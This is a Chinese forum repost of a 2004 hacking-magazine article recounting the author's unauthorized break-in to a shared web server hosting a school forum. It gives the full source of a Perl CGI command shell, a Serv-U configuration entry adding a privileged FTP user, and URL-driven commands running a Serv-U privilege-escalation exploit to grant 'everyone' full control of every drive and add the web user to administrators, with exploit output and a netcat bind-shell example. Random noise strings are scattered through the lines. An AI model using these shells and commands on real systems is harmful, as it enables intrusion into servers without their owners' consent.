找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1977|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 ( z2 h" q, P9 x+ N' L
本文作者:angel3 K( P1 \) {. X7 L8 U
文章性质:原创$ O  d) M' ]# y% W) s) |
发布日期:2004-11-09
& Y" r& Z! _, D6 J9 ^5 q注意:% N# r0 r. \: f! ~, g
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。, v6 j% Y# _7 d- e& ~2 j3 J
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。. g1 E1 d0 T, C+ v/ c1 R% a' d( Q
# i9 T; o4 ]7 R1 N, ^. B
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
9 {5 h  n! ^# r
  R" f5 n' W( h  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 . z6 p: {/ j# A
/ W  _0 r9 c- \- j
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 / v2 d" B$ ^& ?" Q4 d5 z  Q6 [
" V& S+ z8 V! P, F8 v
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 ; j/ F  S0 v1 [* f5 @$ o; I* W% ~. q& f

0 K1 t, W# ^8 F) h$ i4 |6 E  K  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
7 q$ j, M/ w8 d( e/ D
& G: Y! ~0 k, t) M5 d- `# Q  没有目的的跳转目录着…… 1 @! _, x. ^2 q0 v2 i4 B* a
- ?3 b5 s. [  Z, S3 M
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… % j# W3 V) `: d" `1 U1 V
* d; I0 c2 s6 j8 ~1 D4 `% V: o8 M; h* s
  结束了吗?不,我试着 FTP 一下:
: Y; u% W# e" a9 e. H  o) _
1 V9 V7 c4 Y9 ~1 `% l: TMicrosoft Windows 2000 [Version 5.00.2195]' Y3 }" r1 C# W  c3 O0 S
(C) 版权所有 1985-2000 Microsoft Corp. 8 X5 |" i+ u$ I6 o' R4 R

' \5 ?  ]/ d  `8 M6 l! s6 xC:\Documents and Settings\Administrator>ftp www.school.com
9 p. J; ]8 L' N' ~7 [+ lConnected to www. school.com. " i) t3 ^9 ^( G/ o2 X3 `
220 Welcome to FTP Server... 4 O9 S8 ]) x2 T% a! r. s
User (www.bjtrq.com:(none)): - i) i2 p3 c8 n. l& x: J. Q
331 User name okay, need password. 3 @9 F/ ~& \( m
Password: 6 S. E+ i6 z+ a" I8 H) y6 D8 e* }
530 Not logged in.
) T1 u' j6 ~' ?: `, W  `Login failed. 9 M3 `" [, {' z/ x2 t
ftp> bye
% C3 N8 z, r; O0 b: v% d; e221 Goodbye!
; `% [. K, E. b- M: u & N* ~9 b* N' \4 [: C
' r: g& p) l  l* ]- w; Z1 g+ G
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 3 J  r; y( ^" l0 }/ c6 I

( v3 d0 Z% r( {& L; h: J  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
: U6 h4 ?- F& f9 m7 T
8 i0 g7 D+ G" K2 X& P+ A. s, U- hApplication Data  {# P! f6 D- Y$ i
Documents) J4 }) Z. N) F
DRM
6 n( v7 q7 U) T9 n/ KFavorites
: l) K& l2 X( N( w$ d" pTemplates* k4 P- O& }, w2 m7 {  j5 c, S
「开始」菜单
) G# `" j1 ~5 F$ Y" G  D9 @9 t桌面
8 a3 y! p( V0 z& J 1 L, X% f) E& E# ]+ M
8 b- d5 ^) ]& K6 @
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
+ e1 q. I5 O0 C$ u8 S  N4 b8 p5 \" N  M% e/ s) c, ~: D
ActiveState ActivePerl 5.8
$ a6 b  u; w+ r" _4 p3 cAdministrative Tools" M8 E) G+ Z1 A
Deerfield.com0 H# j. a% s' q' b( a
DTemp1 D/ A! ?: v: m: L8 G7 T5 Q" T
IPSentry' f) w1 m$ S8 C% F6 t% l  W
MBM 53 F4 ~+ [! ^9 e
NetMeter" W/ c3 s- l5 F7 @6 R; X# }: d
Network ICE
1 M$ {4 q% V, [' P7 G. U+ tPersits Software AspEmail
0 n3 A5 J7 Z& `Persits Software AspJpeg4 I: W# d2 f1 Z- f- e" v
Serv-U FTP Server
+ b8 U# I% |+ L% f4 y% qSymantec Client Security7 K  s7 b; j/ X+ q& S5 T
Windows 优化大师! {+ V& i$ Q! @1 w/ N
WinRAR/ I) j: I- K4 ~
启动
3 }7 }3 ~# V9 x( Z) K管理工具1 w& {9 f, Q# Y% {! w: C! E
附件, G" Z. I4 n( D( R# D

0 N' t+ I. m0 z7 v$ e+ h8 {3 N; ^8 ]/ @# Z, e7 N
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 2 g$ Y) [# W+ Y/ M. g) v
  f* i! V; x! T! T
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
( t8 R/ u! [! o+ O6 r& y  n
  E4 q/ F' ?  AUser281=angel|1|0
$ y! Y6 @) o+ k( d, w( t
+ j4 _. V: T3 h: p' o
2 M8 o7 u" E* v& V% _: d- L  然后加上
: |  a4 a+ r: v1 p  y( v7 K. ^
) [# Y) S8 F/ }* J* b$ w[USER=angel|1]8 n$ q8 K. G& ?! B; P. P$ r
Password=ng98F85379EA68DBF97BAADCA99B69B805
# |9 N8 V1 F- K1 R7 G% v1 \HomeDir=D:\websites
$ x) f$ |' _4 a  X: lRelPaths=1
3 O! ~7 C8 J; dTimeOut=600
5 j! u3 a$ ]+ l& B# ]2 aMaintenance=System
2 l5 T: {4 e+ o- t5 D+ yAccess1=D:\websites|RWAMELCDP. T1 {+ b2 S! I, A+ i0 l1 l6 r
SKEYValues=- B' [7 ?/ u1 x# Q3 l- @
3 m& o% i% ?& o; _) I9 U8 K3 f
$ |& G" i- C. a9 d9 l
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
" u4 i% }8 |" B) z" \9 }+ a9 f! m
& d1 }0 p1 X% b! T  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
9 [1 z$ s) F! f4 k8 s9 b, Q
/ v( S/ t- o$ o" c1 v  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 9 [9 X% h* }% |8 V. e( j
3 g" E. M9 g4 r% |3 e- ?
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: - o0 H! t' o1 B# V' U7 U1 E

! E9 f! J: B0 A& R+ `& n#!/usr/bin/perl4 f, U2 r! B  [9 P8 n$ j9 n) H
binmode(STDOUT);
: V6 |0 r( d. l8 }" `! B; m! n" {$ R; gsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
1 Y- p' }2 m$ |. K% w  l$_ = $ENV{QUERY_STRING};$ w& Z) i) e9 q* q$ d
s/%20/ /ig;
" b) {- y* o* w2 ts/%2f/\//ig;; y7 M" w* Y3 c/ }  D4 V/ i
$execthis = $_;8 ?' N5 t4 d8 g0 P
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
+ O8 W# p  q0 t- ?2 g  qopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";3 D4 W/ Y; _3 e$ l# P3 y
system($execthis);; c4 r5 x% D1 E$ H4 T
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
: [" d4 I; c* _* R1 l/ H* i; e7 Kclose(STDERR);3 K3 f) h1 V. g; _
close(STDOUT);* N7 v- `. L! \( z8 v( T
exit;8 ?' X9 q& ^, F& _3 w* Q7 a

& F8 h& R- U4 d- L; q6 |
' l8 b8 |1 W: H6 }; G  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 5 m. a# G8 u: [$ m8 b- g0 H9 V

8 L# Y! j' `% r" ]+ e0 m; j; E; ]  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
7 Z: w- R5 b& x) g
( d& C/ Q0 i  k# C) Nhttp://anyhost//cmd.pl?d:\user\bin\su.exe
2 L( Z1 v4 H( g7 {* Y% Y1 z
# v; E: U* H$ j: u) J& U0 {3 [& K1 Q1 T# u3 P
  返回:
8 O+ U* U* H2 W* o0 z+ {. J  n3 ^. ~+ h0 V
Serv-u >3.x Local Exploit by xiaolu
- d2 X; U* |8 {" S; j# `. d1 a
9 d& j! }' K: t1 H3 kUSAGE: serv-u.exe "command"
; A% P& x9 e  X3 P" ?7 c5 J% f! f) O# S- F8 U0 G, e6 U. X
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
- L6 _. Z. y7 }/ Y+ ~" V9 d9 s # g. A/ x$ d: c5 g2 W
5 A! K4 z( X0 D1 H" f' v
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
& ^) m3 {, b& d+ ?( U9 [1 @
2 p2 ]3 _3 _: G# S, j" S; h6 Phttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 4 P3 V& @# H% {

# n2 `5 g* C6 mhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" ; i% i" B; G- e0 P# }$ B& Z0 d

: H: c9 O& J- F* g% \: Jhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" # ^- H, e# }) u! C& x8 U8 o& M1 h

3 d" N! c  X5 F+ M5 `  P  Rhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
2 ]/ b: I* k# _3 b$ O, i % ]# I- s! ^) z- S  e

! w! Y1 u4 `% v  H& c  返回下面的信息,就表示成功了!!!
2 T8 X# n8 T/ W7 X, w9 Y, c& g( B& L, a
Serv-u >3.x Local Exploit by xiaolu 8 }: Q0 X. Y- s
  o6 c" B. @) a& H$ W+ t
<220 Serv-U FTP Server v5.2 for WinSock ready...
* m& \9 P9 E& R3 Q
/ c7 X* N. s7 R& x: m2 J& D>USER LocalAdministrator # [- p) T0 i, \

5 ~  n& J+ z) d3 O8 |0 P' l& j<331 User name okay, need password. " Y  |* z/ D$ G0 D0 {9 e5 h& l

  u: S+ v. ]) @2 S) ?******************************************************
6 e( d; n! x5 i5 n1 J
" M0 e' p& D1 P$ g' M>PASS #l@$ak#.lk;0@P
: m2 h4 Z; t1 F+ O0 x! s' J; N6 @  c+ u% J/ V: [7 U, Z$ H0 G
<230 User logged in, proceed.   k  M" l" M* Q$ a# U

% ^- F8 T* I9 L6 P******************************************************
# M+ ?0 X3 o. `9 N3 {4 M# i) F( k. ?- _# u$ d/ F/ a( g
>SITE MAINTENANCE
! U8 s* z! l, I, z' G$ }; {2 t6 V% r+ J8 i0 x
****************************************************** 7 O( ^6 E8 k5 b7 S3 A8 H: T9 E
- M0 e: g- j6 Y+ s1 e
[+] Creating New Domain... & n0 k! v  u2 Y4 {# m- N

; d; ?6 e2 G* X0 E<200-DomainID=2 6 H: G) B7 ?7 F( ~- R# v

! ]# {# M8 {2 \  P: ]<220 Domain settings saved 9 ]3 |, P% \6 T" O) [
. _* T8 w. k5 y
******************************************************
4 C7 S% r' F3 `; d5 W+ E/ l, C; G! l) m/ A% X" x
[+] Domain xl:2 Created
: r: a) X# C7 h6 ]1 P. g
2 c0 M% I- _! s& v: B[+] Creating Evil User
3 t# T/ h7 _& [. L# z+ H3 b5 w, M, A5 Y% ], m, h% X; B
<200-User=xl ! y$ w7 O8 V: v( Q# c  I# S' d  ~

! W1 w4 e5 T1 l( K200 User settings saved
" _: t3 ~* |, g
/ t% a! A. d& r6 j; ]$ v, N+ B******************************************************
7 k3 j  h+ e. _9 ]
" m* }  g8 G# k4 J9 T, z3 [, O, d[+] Now Exploiting...
0 P- A, a+ I) e- h/ `8 U
9 W- a2 z. ^8 I5 X>USER xl , w  {4 ]6 t% d) T6 E4 N+ V

/ u. z) u+ B2 T<331 User name okay, need password. ) P; `2 A! e8 A1 U
1 p- K6 ?% T* E- j
******************************************************
4 o/ I7 ~& J+ w4 J4 l2 }/ _8 q3 @
8 Z% s' u: a* _4 T% S>PASS 111111 + D+ Q: t! Y/ a: e% X4 |8 Z1 l3 t: M
4 u4 \9 b2 K, ^+ x, Y
<230 User logged in, proceed.
) R( {" X. t  W% ]# F' @
3 g" C* i/ t6 S8 I******************************************************   b- q' A6 d7 O; ^
+ x& q5 C0 I1 S% x' _1 s& m; z
[+] Now Executing: cacls.exe c: /E /T /G everyone:F ' ?6 n) ^& p7 S! Z2 `" d# _
; H% d6 n* p4 ~: N1 W* ]$ |$ e
<220 Domain deleted
# {% _8 ^0 z7 w( E1 ^2 E& L' n* H
2 Z! a9 q8 d' C3 G# X3 x! E******************************************************
( ~4 _  D+ i$ a/ x
* a! q. O: ~% G. U1 m
, U6 h5 \: o2 [  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
) B( A2 L3 l2 K& m
! }0 v. m3 K- X1 Khttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 6 K4 G4 p3 p0 [2 W) L/ i9 P9 d4 [

, ^- Q5 e: \4 A1 u! S# I% y) A0 k9 k7 T
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 2 \  k; \$ E& J0 P8 Z3 N7 j0 L

3 T, a( e  d9 ^$ J) `: h! q/ Y6 i  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
# V/ ~0 I- `. {( m: h& I % q% ^" Q3 k+ l- x( ?/ {5 g1 ]: N
  
. w/ Z* L+ b# {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表